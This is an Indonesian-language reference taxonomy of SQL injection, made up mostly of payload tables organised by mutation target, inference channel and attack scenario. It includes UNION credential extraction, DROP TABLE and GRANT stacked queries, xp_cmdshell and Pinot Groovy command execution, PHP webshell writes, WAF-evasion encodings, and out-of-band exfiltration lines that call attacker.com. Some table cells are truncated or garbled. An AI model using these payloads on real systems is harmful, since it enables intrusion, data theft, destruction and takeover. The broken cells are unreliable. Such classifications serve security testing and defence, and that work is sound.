Struktur Klasifikasi

Dokumen ini mengklasifikasikan seluruh attack surface SQL Injection berdasarkan tiga sumbu ortogonal. Setiap teknik dapat dilokasikan secara tepat sebagai kombinasi dari ketiga sumbu berikut.

Sumbu 1: Target Mutasi — APA yang dimutasi

Komponen struktural mana dari pesan/request SQL yang dimodifikasi untuk mencapai injection. Ini adalah sumbu utama dokumen ini, diorganisir ke dalam 8 kategori utama (§1–§8).

Sumbu 2: Saluran Inferensi — BAGAIMANA hasilnya diperoleh

Melalui jalur mana penyerang mengamati hasil query yang diinjeksikan. Ini adalah sumbu lintas kategori.

Tipe SaluranMekanismeKondisi Representatif
In-Band (Output Langsung)Hasil query langsung tercermin dalam HTTP responseUNION SELECT, Error-based
Boolean BlindEkstraksi 1-bit melalui perbedaan response (konten, status code) untuk true/falseAND 1=1 vs AND 1=2
Time-Based BlindPenentuan true/false melalui fungsi delay kondisionalIF(cond, SLEEP(5), 0)
Error-BasedData tertanam di dalam pesan error yang dipaksakanEXTRACTVALUE, UPDATEXML
Out-of-Band (OOB)Data dikirim ke server eksternal melalui request DNS/HTTPUTL_HTTP, xp_dirtree, LOAD_FILE
Stored/Second-OrderTitik injection dan titik eksekusi terpisah secara temporalDisimpan lalu digunakan dalam query lain

Sumbu 3: Skenario Serangan — DI MANA digunakan sebagai senjata

SkenarioKondisiDampak
Authentication BypassQuery login ditargetkanAkses admin
Data ExfiltrationKonteks SELECTPencurian data rahasia
Data ManipulationKonteks INSERT/UPDATEPemalsuan/penyisipan record
Remote Code Execution (RCE)File write / eksekusi perintah OS tersediaKompromi sistem penuh
Denial of Service (DoS)Query yang menghabiskan resourcePenghancuran ketersediaan layanan
Privilege EscalationModifikasi izin user DBPerolehan hak admin
WAF/Filter BypassPerangkat keamanan terpasangPengelakan deteksi yang memungkinkan serangan sekunder

§1. Manipulasi Sintaks Query

Kategori mutasi yang paling fundamental dan luas — memodifikasi langsung elemen sintaks SQL seperti clause, operator, dan keyword untuk mengubah semantik query.

§1-1. WHERE Clause Tautology

Menginjeksikan kondisi yang selalu benar untuk menetralisir logika filtering query.

SubtipeMekanismeContoh Payload
Basic TautologyKondisi selalu benar melalui operator OR' OR 1=1--
String TautologyKondisi benar melalui perbandingan string' OR 'a'='a'--
Double NegationOperator NOT bertingkat untuk menghindari filter' OR NOT 0--
Arithmetic TautologyKondisi benar melalui hasil operasi matematika' OR 2>1--
NULL ExploitationMenyalahgunakan semantik perbandingan NULL' OR NULL IS NULL--
Bitwise OperationOperator bitwise untuk menghindari pola deteksi' OR 1&1--

§1-2. UNION-Based Injection

Menggunakan UNION SELECT untuk menambahkan data yang dikontrol penyerang ke result set query asli.

SubtipeMekanismeContoh Payload
Basic UNIONMencocokkan jumlah kolom untuk penggabungan hasil' UNION SELECT username,password FROM users--
NULL PaddingMenggunakan NULL untuk mencocokkan jumlah kolom' UNION SELECT NULL,NULL,NULL--
ORDER BY EnumerationMenyelidiki jumlah kolom melalui percobaan pengurutan' ORDER BY 5-- (error jika kolom < 5)
Type-Compatible UNIONMelewati ketidakcocokan tipe data' UNION SELECT 1,'a',3--
Embedded SubquerySubquery di dalam UNION' UNION SELECT (SELECT password FROM users LIMIT 1),2--
GROUP_CONCAT AggregationMenggabungkan beberapa baris menjadi satu' UNION SELECT GROUP_CONCAT(username,':',password),2 FROM users--

§1-3. Stacked Queries (Multi-Statement Injection)

Mengakhiri query asli dengan titik koma (;) dan mengeksekusi statement yang sepenuhnya baru. Teknik berisiko tinggi yang langsung mengarah ke manipulasi data dan RCE.

SubtipeMekanismeContoh Payload
Penyisipan DataMenambahkan statement INSERT'; INSERT INTO users VALUES('hacker','pwd')--
Penghapusan DataMenambahkan statement DELETE/DROP'; DROP TABLE users--
Modifikasi Hak AksesMenambahkan statement GRANT/ALTER'; GRANT ALL ON *.* TO 'attacker'@'%'--
Eksekusi Perintah OS (MSSQL)Mengaktifkan dan mengeksekusi xp_cmdshell'; EXEC xp_cmdshell 'whoami'--
File Write (MySQL)Membuat webshell melalui INTO OUTFILE'; SELECT '<?php system($_GET["c"]);?>' INTO OUTFILE '/var/www/shell.php'--

Batasan DBMS: Engine dan wire protocol MySQL mendukung stacked queries, namun client library membatasinya secara default. mysqli_query() PHP hanya mengizinkan satu query; stacked queries dapat diaktifkan melalui mysqli_multi_query() atau pengaturan PDO::ATTR_EMULATE_PREPARES PDO. Aktivasi pada level protocol juga memungkinkan melalui flag CLIENT_MULTI_STATEMENTS. PostgreSQL dan MSSQL mendukung stacked queries secara default. Oracle tidak mendukungnya.

§1-4. Subquery & Conditional Expressions

Memanfaatkan subquery dan percabangan kondisional untuk mengekstrak data atau mengontrol alur eksekusi.

SubtipeMekanismeContoh Payload
Scalar SubqueryInjeksi subquery dalam konteks SELECT' AND (SELECT COUNT(*) FROM users)>0--
EXISTS ConditionPenentuan true/false melalui keberadaan data' AND EXISTS(SELECT * FROM users WHERE username='admin')--
CASE/IF BranchingEkstraksi bit per bit melalui percabangan kondisional' AND IF(SUBSTRING(@@version,1,1)='5',SLEEP(3),0)--
Nested SubqueryRantai subquery multi-level' AND (SELECT SUBSTRING(password,1,1) FROM (SELECT password FROM users LIMIT 1) AS t)='a'--

§2. Encoding & Obfuscation

Mengubah bentuk representasi payload untuk melewati validasi input, WAF, dan filter. Semantik SQL tetap identik, namun representasi di level byte berbeda.

§2-1. Transformasi Encoding Karakter

SubtipeMekanismeContoh Payload
Hexadecimal EncodingMenggantikan string dengan hex berawalan 0xSELECT * FROM users WHERE name=0x61646D696E (= ‘admin’)
URL EncodingKarakter khusus dalam bentuk %XX%27%20OR%201%3D1-- (= ' OR 1=1--)
Double URL EncodingMenerapkan URL encoding dua kali%2527 (→ %27')
Unicode EncodingUrutan %uXXXX atau multibyte UTF-8%u0027%u004F%u0052 (= 'OR)
HTML EntitiesKonversi ke bentuk &#xx;&#39; OR 1=1--
Base64 EncodingMembungkus payload dalam Base64Ketika aplikasi mendekode Base64 sebelum penyisipan ke query
Invalid UTF-8 SequencesByte UTF-8 yang tidak valid membingungkan fungsi escapeCVE-2025-1094: eksploitasi celah validasi UTF-8 PostgreSQL
CHAR() FunctionMengubah kode ASCII menjadi karakterCHAR(97,100,109,105,110) (= ‘admin’)

§2-2. Substitusi Whitespace

Menggunakan berbagai karakter yang diakui sebagai whitespace dalam SQL untuk melewati filter berbasis spasi.

SubtipeMekanismeContoh Payload
Inline CommentMenggantikan spasi dengan /**/'/**/OR/**/1=1--
Karakter Tab%09 (tab) sebagai pengganti spasi'%09OR%091=1--
Karakter Newline%0A (LF), %0D (CR) sebagai pengganti'%0AOR%0A1=1--
ParenthesesPemisahan token melalui tanda kurung'OR(1=1)--
Tanda Plus (MSSQL)+ digunakan sebagai whitespace'+OR+1=1--
Null BytePenyisipan %00 (Oracle, dll.)'%00OR 1=1--

Karakter Whitespace Spesifik DBMS: MySQL(09,0A,0B,0C,0D,A0,20), PostgreSQL(0A,0D,0C,09,20), MSSQL(01-1F,20), Oracle(00,0A,0D,0C,09,20), SQLite(0A,0D,0C,09,20)

§2-3. Comment-Based Obfuscation

Memanfaatkan sintaks komentar SQL untuk memecah keyword atau mencapai eksekusi kondisional.

SubtipeMekanismeContoh Payload
Penyisipan Inline CommentMenyisipkan /**/ di dalam keywordSEL/**/ECT, UN/**/ION
MySQL Versioned Conditional Comment/*!NNNNN ... */ hanya dieksekusi pada versi tertentu ke atas/*!50000SELECT*/ * FROM users
Nested CommentKomentar di dalam komentar untuk membingungkan parser/*! /*!*/ SELECT */ 1
Penghapusan Sisa QueryMeniadakan sisa query dengan --, #, /*admin'--
MySQL Hash CommentKomentar # khusus MySQL' OR 1=1 #

§2-4. Mutasi Case & Keyword

SubtipeMekanismeContoh Payload
Mixed CaseMengeksploitasi ketidakpekaan huruf besar/kecil pada keyword SQLsElEcT, UnIoN, SeLeCt
Keyword DoublingSaat filter menghapus keyword hanya sekaliSELSELECTECT (filter menghapus SELECT → SELECT tersisa)
Synonym SubstitutionMenggunakan keyword berbeda dengan fungsi samaLIKE sebagai ganti =; RLIKE/REGEXP sebagai ganti LIKE; `
Function Name SubstitutionMenggunakan fungsi berbeda dengan perilaku samaMID() = SUBSTR() = SUBSTRING()
Scientific NotationAngka dalam notasi ilmiah0e0 = 0, 1e0UNION
String ConcatenationMembangun keyword melalui penggabungan string'sel'+'ect' (MSSQL), `‘sel'

§3. Eksploitasi Fitur Khusus DBMS

Mutasi yang memanfaatkan fungsi, sintaks, dan objek sistem eksklusif yang unik pada setiap engine database. Bahkan dengan niat serangan yang identik, payload berbeda secara fundamental antar DBMS.

§3-1. Teknik Khusus MySQL

SubtipeMekanismeContoh Payload
Versioned Conditional ExecutionKode spesifik versi melalui komentar /*!NNNNN*//*!50000UNION*//*!50000SELECT*/1,2,3
LOAD_FILE / INTO OUTFILEBaca/tulis file' UNION SELECT LOAD_FILE('/etc/passwd'),2--
BENCHMARK Time DelayInferensi berbasis waktu melalui BENCHMARK()' AND BENCHMARK(10000000,SHA1('a'))--
Enumerasi information_schemaQuery tabel metadata' UNION SELECT table_name,2 FROM information_schema.tables--
GROUP BY / HAVING Error LeakPengungkapan nama kolom melalui error agregasi' GROUP BY columnname HAVING 1=1--
PROCEDURE ANALYSEKebocoran informasi tipe data' PROCEDURE ANALYSE()--
Eksploitasi @VariableEkstraksi multi-langkah melalui variabel pengguna' AND(@a:=CONCAT_WS(':',table_name) FROM information_schema.tables)--
Full-Text Search Blind OracleMenyalahgunakan MATCH ... AGAINST dalam mode boolean: parser boolean full-text MySQL menginterpretasikan operator (+, -, *, ~) yang berinteraksi dengan redirect atau perilaku error di level aplikasi, menciptakan oracle inferensi blind dari endpoint yang tidak mengembalikan hasil query secara langsung' AND MATCH(col) AGAINST('+target*' IN BOOLEAN MODE)--

§3-2. Teknik Khusus PostgreSQL

SubtipeMekanismeContoh Payload
COPY TO/FROMAkses filesystem'; COPY (SELECT '') TO PROGRAM 'id'--
pg_sleep Time DelayInferensi blind berbasis waktu'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
Large Object FunctionsAkses file melalui lo_import/lo_export'; SELECT lo_import('/etc/passwd')--
Dollar-Quoted StringsBypass filter kutip melalui sintaks $$...$$$$text$$ sebagai ganti 'text'
Type Casting (::)Induksi error/bypass melalui operator casting' AND 1::int=1--, CAST(expr AS type)
Enumerasi pg_catalogQuery tabel katalog sistem' UNION SELECT usename,passwd FROM pg_shadow--
CHR() Function ChainingKonstruksi string melalui penggabungan CHR()`CHR(65)
Celah Encoding UTF-8Bypass fungsi escape melalui UTF-8 tidak valid (CVE-2025-1094)Urutan UTF-8 tidak valid menyebabkan pemisahan statement psql
Filenode Offline ManipulationDengan akses SELECT saja, baca pg_relation_filenode() untuk memetakan OID tabel ke path file fisik, lalu manipulasi raw heap page melalui lo_import/lo_export untuk menulis ulang atribut role (misalnya flag rolsuper di pg_authid), eskalasi ke superuser dan RCE (Phrack)SELECT pg_relation_filenode('pg_authid'); → edit page offline → eskalasi role

§3-3. Teknik Khusus Microsoft SQL Server

SubtipeMekanismeContoh Payload
xp_cmdshellEksekusi perintah OS'; EXEC xp_cmdshell 'whoami'--
xp_dirtree / xp_fileexistEksfiltrasi data OOB (DNS/UNC)'; EXEC xp_dirtree '\\attacker.com\share'--
OPENROWSET / OPENDATASOURCEKoneksi server remote / eksfiltrasi data'; SELECT * FROM OPENROWSET('SQLOLEDB','server';'sa';'pwd','SELECT 1')--
WAITFOR DELAYInferensi blind berbasis waktu'; WAITFOR DELAY '0:0:5'--
sp_OACreateRCE melalui pembuatan COM objectMemerlukan OLE Automation Procedures diaktifkan
Error-Based ConversionKebocoran data melalui error konversi tipe' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))--
Differential Backup WebshellPenulisan file melalui fungsionalitas backupMenyimpan backup diferensial ke path yang dapat diakses web untuk membuat webshell

§3-4. Teknik Khusus Oracle

SubtipeMekanismeContoh Payload
UTL_HTTP / UTL_INADDREksfiltrasi data OOB (HTTP/DNS)`’ AND 1=UTL_HTTP.REQUEST(‘http://attacker.com/
DBMS_PIPEInferensi blind berbasis waktu' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--
CTXSYS.DRITHSX.SNEksfiltrasi data berbasis error' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))--
XMLTYPE / EXTRACTVALUEKebocoran data melalui error fungsi XML' AND EXTRACTVALUE(XMLTYPE('<?xml ...>'),'/x')--
**Double Pipe Concatenation ()**
FROM DUAL WajibOracle mewajibkan clause FROM dalam SELECT' UNION SELECT NULL FROM DUAL--
Pembatasan Berbasis ROWNUMMekanisme pembatasan baris Oracle' AND ROWNUM=1--

§3-5. Teknik Khusus SQLite

SubtipeMekanismeContoh Payload
Enumerasi sqlite_masterQuery metadata skema' UNION SELECT sql FROM sqlite_master--
RANDOMBLOB Time DelayDelay melalui pembuatan data acak berukuran besar' AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000))))--
ATTACH DATABASEPenulisan file melalui pembuatan file DB baru'; ATTACH DATABASE '/var/www/shell.php' AS lol; CREATE TABLE lol.x(y text); INSERT INTO lol.x VALUES('<?php...');--
typeof() / unicode()Ekstraksi informasi tipe/karakter' AND unicode(substr(password,1,1))>64--

§3-6. Teknik Khusus Database Cloud

SubtipeMekanismeContoh Payload
BigQuery Dialect InjectionGoogle BigQuery menggunakan sintaks SQL non-standar (identifier dikutip dengan backtick, SAFE_DIVIDE(), FORMAT(), UNNEST()) yang ruleset WAF standar yang disesuaikan untuk MySQL/PostgreSQL/MSSQL gagal mendeteksinyaSELECT * FROM `project.dataset.table` WHERE SAFE_DIVIDE(1,(SELECT IF(condition,1,0)))=1

§3-7. Teknik Khusus Database Analitik Real-Time (Apache Pinot)

Apache Pinot adalah datastore OLAP terdistribusi real-time yang menggunakan SQL berbasis Apache Calcite (banyak fitur Calcite tidak didukung). Attack surface injection uniknya berasal dari eksekusi skrip Groovy bawaan yang diaktifkan secara default di semua versi rilis hingga 0.10.0.

SubtipeMekanismeContoh Payload
Pengelakan filter OPTION()Pinot memproses OPTION(key=value) yang tertanam di mana saja dalam query, termasuk di dalam string literal, tanpa peringatan. Query untuk thingumajig dan thinguOPTION(a=b)majig mengembalikan hasil yang identik — melewati validasi input dan WAFWHERE col LIKE '%oPtIoN(a=b)%'
GROOVY() RCEGROOVY('{"returnType":"INT","isSingleValue":true}', 'code', col) mengeksekusi kode Groovy (JVM) arbitrer di komponen Server sebagai root. Metode Java termasuk Runtime.exec() tersediaGROOVY('{"returnType":"INT","isSingleValue":true}', '"whoami".execute().text; return 1', studentID)
Pergerakan lateral IN_SUBQUERYIN_SUBQUERY(col, 'SELECT ID_SET(col) FROM otherTable WHERE GROOVY(...)=3') mengeksekusi subquery pada tabel/Server yang berbeda, memungkinkan pergerakan lateral lintas server di dalam cluster Pinot tanpa memodifikasi titik injection utamaWHERE IN_SUBQUERY('x', 'SELECT ID_SET(firstName) FROM tableB WHERE groovy(...) = 3') = true
REGEXP_LIKE ReDoSRegex Java melalui REGEXP_LIKE memungkinkan ReDoS dengan pola backtracking katastrofikREGEXP_LIKE(col, '((((((.*)*)*)*)*)*)*zz')
Ekstraksi blind melalui CASE + SUBSTRSUBSTR(col, start, end) (0-indexed), LENGTH(), ekspresi CASE, dan toUtf8() untuk fungsi hash memungkinkan eksfiltrasi data melalui response kondisionalCASE WHEN SUBSTR(secret,0,1)='a' THEN col ELSE col-1 END

Pasca eksploitasi: Shell root pada Server memungkinkan manipulasi Zookeeper, query GRPC tanpa autentikasi ke Server lain, penyalahgunaan Controller API, dan ekstraksi kredensial cloud dari variabel lingkungan (Doyensec, 2022).


§4. Input Vector & Jalur Pengiriman

DI MANA payload SQL disisipkan dan BAGAIMANA mencapai aplikasi. Di luar parameter GET/POST tradisional, berbagai komponen HTTP dan format data berfungsi sebagai jalur injection.

§4-1. Manipulasi Parameter HTTP

SubtipeMekanismeTitik Injection
Parameter GETPenyisipan dalam query string URL?id=1' OR 1=1--
Body POSTPenyisipan dalam data formusername=admin'--&password=x
Parameter NumerikInjection langsung tanpa kutipan?id=1 OR 1=1
HTTP Parameter Pollution (HPP)Beberapa parameter identik membingungkan WAF?id=1&id=' OR 1=1-- (server menggunakan nilai kedua)

§4-2. Header-Based Injection

Terjadi ketika aplikasi mempercayai nilai header HTTP dan menyisipkannya ke dalam query.

SubtipeMekanismeTitik Injection
Cookie InjectionNilai cookie identifikasi sesi/penggunaCookie: session=admin' OR 1=1--
User-Agent InjectionLogging/analisis string UAUser-Agent: ' OR 1=1--
Referer InjectionLogging RefererReferer: ' OR 1=1--
X-Forwarded-For InjectionLogging IP/kontrol aksesX-Forwarded-For: ' OR 1=1--
Authorization HeaderPemrosesan token autentikasiInjection dalam nilai header auth kustom

§4-3. Injection Format Data Terstruktur

SQL injection dalam format body JSON, XML, dan format terstruktur lainnya. Khususnya, injection berbasis JSON melewati semua WAF komersial utama (§7-2).

SubtipeMekanismeContoh Payload
JSON Parameter InjectionPenyisipan SQL dalam nilai JSON{"username":"admin' OR 1=1--","password":"x"}
JSON SQL Syntax AbuseBypass WAF melalui operator JSON1 OR JSON_EXTRACT('{"a":1}','$.a')=1 (lihat §7-2)
XML Encoding InjectionEncoding payload melalui entitas XML<stockCheck><productId>&#x31;&#x27;&#x20;UNION SELECT...
Parameter SOAPInjection dalam nilai pesan SOAPPenyisipan SQL dalam parameter SOAP berbasis XML
GraphQL Variable InjectionPenyisipan SQL dalam variabel query GraphQL{"query":"{ user(id:\"1' OR 1=1--\") { name } }"}

§4-4. Jalur Injection Non-Tradisional

SubtipeMekanismeKondisi
Nama File UploadNama file upload disimpan di DBfilename="' OR 1=1--.jpg"
DNS/HostnameHost header digunakan dalam queryHost: ' OR 1=1--
Field EmailPemrosesan alamat emailtest'OR1=1--@example.com
Fungsionalitas PencarianQuery pencarian teks penuhSQL injection dalam kata kunci pencarian

§5. Teknik Inferensi Blind

Teknik mengekstrak data melalui sinyal tidak langsung di lingkungan di mana hasil query tidak langsung ditampilkan. Skenario paling umum ditemui di aplikasi modern.

§5-1. Inferensi Berbasis Boolean

Mengekstrak data 1 bit sekaligus dengan mengamati perbedaan true/false dalam response (konten halaman, HTTP status code, perilaku redirect).

SubtipeMekanismeContoh Payload
Perbedaan KontenKonten halaman bervariasi untuk true/false' AND SUBSTRING(username,1,1)='a'--
Perbedaan Status CodePercabangan kode response (200 vs 302, dll.)' AND 1=(SELECT 1 FROM users WHERE username='admin')--
Induksi Error KondisionalError hanya dipicu saat kondisi benar' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END)--
Pola REGEXP/LIKEPengujian rentang karakter melalui regex' AND password REGEXP '^a'--
Bitwise ExtractionEkstraksi efisien melalui operasi bit' AND ORD(MID(password,1,1))&128=128--
Binary SearchMempersempit rentang kode karakter secara berulang' AND ASCII(SUBSTR(pwd,1,1))>64-- (pembagian biner berulang)

§5-2. Inferensi Berbasis Waktu

Menentukan true/false dengan sengaja memicu delay saat kondisi benar, mengamati waktu response.

SubtipeMekanismeContoh Payload
SLEEP / pg_sleep / WAITFORFungsi delay bawaan DBMSMySQL: ' AND IF(1=1,SLEEP(5),0)--
Heavy Query (Computation Bomb)Delay melalui operasi yang intensif CPU' AND (SELECT COUNT(*) FROM generate_series(1,10000000))>0--
BENCHMARK (MySQL)Delay melalui operasi berulang' AND BENCHMARK(50000000,SHA1('x'))--
Conditional Delay + Binary SearchMenggabungkan time delay dengan binary search' AND IF(ASCII(SUBSTR(pwd,1,1))>64,SLEEP(3),0)--
RANDOMBLOB (SQLite)Delay melalui pembuatan data acak berukuran besarLihat §3-5

§5-3. Ekstraksi Berbasis Error

Sengaja memicu error SQL sambil memastikan data yang diinginkan tertanam dalam pesan error.

SubtipeMekanismeContoh Payload
EXTRACTVALUE (MySQL)Data tertanam dalam error XPath' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()),0x7e))--
UPDATEXML (MySQL)Eksploitasi error pembaruan XML' AND UPDATEXML(1,CONCAT(0x7e,(SELECT version()),0x7e),1)--
CONVERT/CAST (MSSQL)Data tertanam dalam error konversi tipe' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))--
XMLTYPE (Oracle)Eksploitasi error parsing XMLLihat §3-4
EXP() Overflow (MySQL)Overflow fungsi matematika' AND EXP(~(SELECT*FROM(SELECT user())x))--
Double Query ErrorError kunci duplikat / subquery' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(user(),FLOOR(RAND(0)*2))x FROM users GROUP BY x)a)--
GeometryCollection (MySQL)Eksploitasi error fungsi spasial' AND GeometryCollection((SELECT*FROM(SELECT*FROM(SELECT user())a)b))--

§5-4. Saluran Out-of-Band (OOB)

Mengirimkan data ke server eksternal melalui DNS lookup, request HTTP, atau saluran jaringan terpisah lainnya. Metode ekstraksi paling efisien di lingkungan blind.

SubtipeMekanismeContoh Payload
Eksfiltrasi DNS (MSSQL)DNS lookup melalui UNC path'; EXEC xp_dirtree '\\'+user()+'.attacker.com\a'--
Eksfiltrasi DNS (Oracle)DNS lookup melalui UTL_INADDR`’ AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)
Eksfiltrasi HTTP (Oracle)Request HTTP eksternal melalui UTL_HTTP`’ AND 1=UTL_HTTP.REQUEST(‘http://attacker.com/
Eksfiltrasi HTTP (MSSQL)Koneksi eksternal melalui OPENROWSET'; SELECT * FROM OPENROWSET('SQLOLEDB','attacker.com';'a';'a','SELECT 1')--
Eksfiltrasi DNS (MySQL)DNS melalui LOAD_FILE' AND LOAD_FILE(CONCAT('\\\\',user(),'.attacker.com\\a'))--
Eksfiltrasi DNS (PostgreSQL)Memanfaatkan dblink / COPY TO PROGRAM`’; CREATE EXTENSION dblink; SELECT dblink_connect(‘host=‘

§6. Mutasi Temporal & Kontekstual

Mutasi berdasarkan waktu injection dan konteks eksekusi. Mencakup kasus di mana payload tidak langsung dieksekusi, atau beroperasi dalam konteks SQL selain query asli (INSERT, UPDATE, ORDER BY, dll.).

§6-1. Second-Order Injection

Payload tidak berbahaya saat waktu penyimpanan tetapi dieksekusi saat direferensikan kemudian oleh query yang berbeda. Rentan bahkan ketika Prepared Statement digunakan, jika data yang tersimpan dipercaya.

SubtipeMekanismeSkenario
Berbasis UsernamePayload disimpan saat pendaftaran → dieksekusi pada query profilDaftar sebagai admin'-- → perubahan password memodifikasi akun admin
Berbasis Post/KomentarPost disimpan → dieksekusi pada query dashboard adminSQL dalam judul post → dieksekusi dalam query statistik
Berbasis LogNilai berbahaya dicatat → dieksekusi pada pencarian/analisis logNilai berbahaya disimpan di tabel log → direferensikan di dashboard
Berbasis KonfigurasiPengaturan diubah → direferensikan oleh fungsi sistemNilai konfigurasi tersimpan di DB digunakan dalam query dinamis

§6-2. Injection Spesifik Konteks

Ketika titik injection berada di clause SQL selain WHERE pada SELECT, teknik khusus diperlukan untuk setiap konteks.

SubtipeKonteksContoh Payload
INSERT InjectionPenyisipan clause VALUES'); INSERT INTO admins VALUES('hacker','pwd')--
UPDATE SET InjectionPenyisipan nilai clause SET', password='hacked' WHERE username='admin'--
ORDER BY InjectionPenyisipan kriteria pengurutan (tidak dapat diparameterisasi)1 AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 1/0 END)
GROUP BY InjectionPenyisipan kriteria pengelompokan1 HAVING 1=1--
LIMIT/OFFSET InjectionPenyisipan parameter paginasi10 PROCEDURE ANALYSE(EXTRACTVALUE(0,CONCAT(...)))
Injection Nama Tabel/KolomPenyisipan identifier dinamis `admin`; DROP TABLE users-- (tidak dapat dipertahankan melalui prepared statement)
LIKE Pattern InjectionPenyisipan wildcard dalam pola pencarian% (mengembalikan semua hasil), _ (wildcard satu karakter)

§6-3. Rantai Serangan Multi-Tahap

Mencapai tujuan yang tidak dapat dicapai melalui injection tunggal melalui injeksi sekuensial berantai.

SubtipeMekanismeTahapan
Recon → Privesc → RCEEskalasi tujuan bertahap①Cek versi DB → ②Cek hak akses user → ③Aktifkan xp_cmdshell → ④Eksekusi perintah
SQLi → File Write → WebshellPivot ke akses filesystem①Buat shell PHP via INTO OUTFILE → ②Akses shell via HTTP
Data Exfil → Auth BypassMemanfaatkan info yang diekstrak untuk akses sah①Ekstrak hash admin → ②Crack hash → ③Login normal

§7. Mutasi Pengelakan WAF/Filter

Transformasi payload yang dikhususkan untuk melewati perangkat keamanan (WAF, IDS, filter input). Meskipun tumpang tindih dengan §2 (Encoding), bagian ini berfokus pada teknik yang menyerang logika deteksi WAF itu sendiri.

§7-1. Pengelakan Signature

Transformasi payload yang mengelak aturan pencocokan regex/pola WAF.

SubtipeMekanismeContoh Payload
Substitusi Tanda Sama Dengan (=)Operator ekuivalensi sebagai ganti =LIKE, RLIKE, REGEXP, BETWEEN...AND, IN(), <> (NOT EQUAL yang dinegasi)
Substitusi AND/OROperator logika sebagai simbol&& (AND), `
Payload Tanpa SpasiSemua whitespace dihapus'OR(1=1)#, 'OR(1)=(1)#
Ekstraksi Tanpa SELECTEkstraksi data tanpa keyword SELECTTABLE users (MySQL 8.0+), VALUES ROW(1)
Payload Tanpa KomaSubstitusi koma dalam UNION' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b--
String Tanpa KutipanBypass filter kutipan0x61646D696E (hex), CHAR(97,100,109,105,110)
Obfuscation Function CallWhitespace/komentar antara nama fungsi dan tanda kurungSLEEP/**/(5), VERSION ()

§7-2. Bypass WAF SQL Berbasis JSON

Sintaks SQL JSON tidak dikenali oleh parser SQL WAF, memungkinkan teknik yang melewati semua WAF komersial utama (ditemukan 2022 — mempengaruhi Palo Alto, AWS, Cloudflare, F5, Imperva).

SubtipeDBMSContoh Payload
JSON_EXTRACT TautologyMySQL1 OR JSON_EXTRACT('{"a":1}','$.a')=1
Perbandingan Array JSONPostgreSQL1 OR '{"a":1}'::jsonb @> '{"a":1}'::jsonb
JSON_VALUEMSSQL1 OR JSON_VALUE('{"a":1}','$.a')=1
json_extractSQLite1 OR json_extract('{"a":1}','$.a')=1
Kondisi JSON BertingkatUniversalMencampur operator JSON dengan keyword SQL tradisional untuk memecah pola signature

Sintaks SQL JSON didukung di MySQL (2015), PostgreSQL (2012), MSSQL (2016), dan SQLite (2022). Masalah fundamental adalah WAF gagal mem-parse sintaks SQL dalam konten JSON.

§7-3. Pengelakan di Level HTTP

Mengeksploitasi karakteristik protokol HTTP untuk membingungkan parsing request WAF.

SubtipeMekanismeTeknik
Manipulasi Content-TypeMengirim Content-Type yang tidak terdugaapplication/json sebagai ganti application/x-www-form-urlencoded
Chunked Transfer EncodingMendistribusikan signature antar chunkFragmentasi payload melalui chunked encoding
HTTP Parameter PollutionKebingungan parameter duplikat (lihat §4-1)Nilai pertama lolos WAF, nilai kedua mencapai aplikasi
Manipulasi Multipart BoundaryPerbedaan parser melalui boundary non-standarVariasi string boundary data form multipart
Payload Berukuran BesarMelebihi batas byte inspeksi WAFMenambahkan data dummy berukuran besar sebelum payload
Header Spesifik HTTP/2Mengeksploitasi binary framing HTTP/2Manipulasi pseudo-header dalam HTTP/2

§8. Mutasi di Level Protokol & Arsitektur

Mutasi yang mengeksploitasi karakteristik wire protocol database, lapisan driver/ORM, dan arsitektur aplikasi — BUKAN sintaks SQL. Ini mewakili attack surface baru yang tidak dapat diblokir oleh pertahanan SQL Injection tradisional (Prepared Statement).

§8-1. Wire Protocol Smuggling

Merusak batas pesan dalam protokol biner antara database client dan server, memungkinkan injection statement SQL/NoSQL arbitrer bahkan di lingkungan yang menggunakan Prepared Statement. (DEF CON 32, 2024)

SubtipeMekanismeKondisi Kunci
Message Size OverflowOverflow field panjang pesan protokol melalui string 4GB+CVE-2024-27304 (pgx): overflow field panjang 32-bit memungkinkan manipulasi pesan berikutnya
Protocol DesynchronizationKetidakcocokan batas pesan antara client dan serverKebingungan urutan pesan aplikasi-DB → penyisipan pesan berbahaya
Kerentanan DriverCacat implementasi dalam driver spesifik bahasaCVE-2024-1597 (PostgreSQL JDBC): SQL injection saat preferQueryMode=simple

Protocol smuggling menerapkan konsep HTTP Request Smuggling ke protokol DB biner, membuktikan bahwa Prepared Statement bukanlah solusi mutlak. Cakupan dampak meluas di luar protokol DB ke semua protokol biner termasuk message queue dan caching.

§8-2. Bypass Lapisan ORM/Framework

Mencapai SQL injection melalui API tidak aman di lapisan abstraksi ORM (Object-Relational Mapper).

SubtipeFrameworkPola Rentan
Raw Query AbuseDjango, Rails, SequelizeMyModel.objects.raw("SELECT * FROM t WHERE id="+user_input)
Penyalahgunaan extra()/annotate() (Django)DjangoQuerySet.extra(where=["name='"+input+"'"]) — tidak diparameterisasi
Metode ActiveRecord Tidak AmanRuby on Railswhere("name = '#{params[:name]}'"), order(params[:sort])
Comment Injection (ActiveRecord)RailsCVE-2023-22794: escape komentar SQL melalui annotate(), optimizer_hints()
Sequelize Operator InjectionNode.js SequelizeInjection operator $where, $like untuk manipulasi kondisi
JPQL/HQL InjectionHibernate/JPA"FROM User WHERE name='"+input+"'" — JPQL juga dapat diinjeksi
Nama Kolom/Tabel DinamisSemua ORMIdentifier (nama tabel, nama kolom) tidak dapat diparameterisasi melalui Prepared Statement

§8-3. Celah Fungsi Escape

Injection yang disebabkan oleh bug implementasi dalam fungsi escape string itu sendiri.

SubtipeMekanismeCVE/Kasus
Serangan Encoding Multibyte (GBK)Backslash dari addslashes() diserap sebagai bagian dari karakter multibyte GBK%bf%27%bf%5c%27縗' (backslash dikonsumsi)
Kegagalan Validasi UTF-8Urutan UTF-8 tidak valid melewati logika escapeCVE-2025-1094: celah pemrosesan UTF-8 di PQescapeLiteral() PostgreSQL
